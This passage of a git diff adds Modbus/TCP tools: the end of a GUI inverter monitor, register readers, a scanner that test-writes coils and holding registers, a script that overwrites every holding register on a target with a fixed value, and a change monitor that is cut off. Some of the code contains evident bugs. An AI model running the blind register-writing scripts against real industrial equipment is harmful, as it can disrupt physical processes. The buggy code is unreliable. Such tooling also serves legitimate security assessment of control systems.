communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] 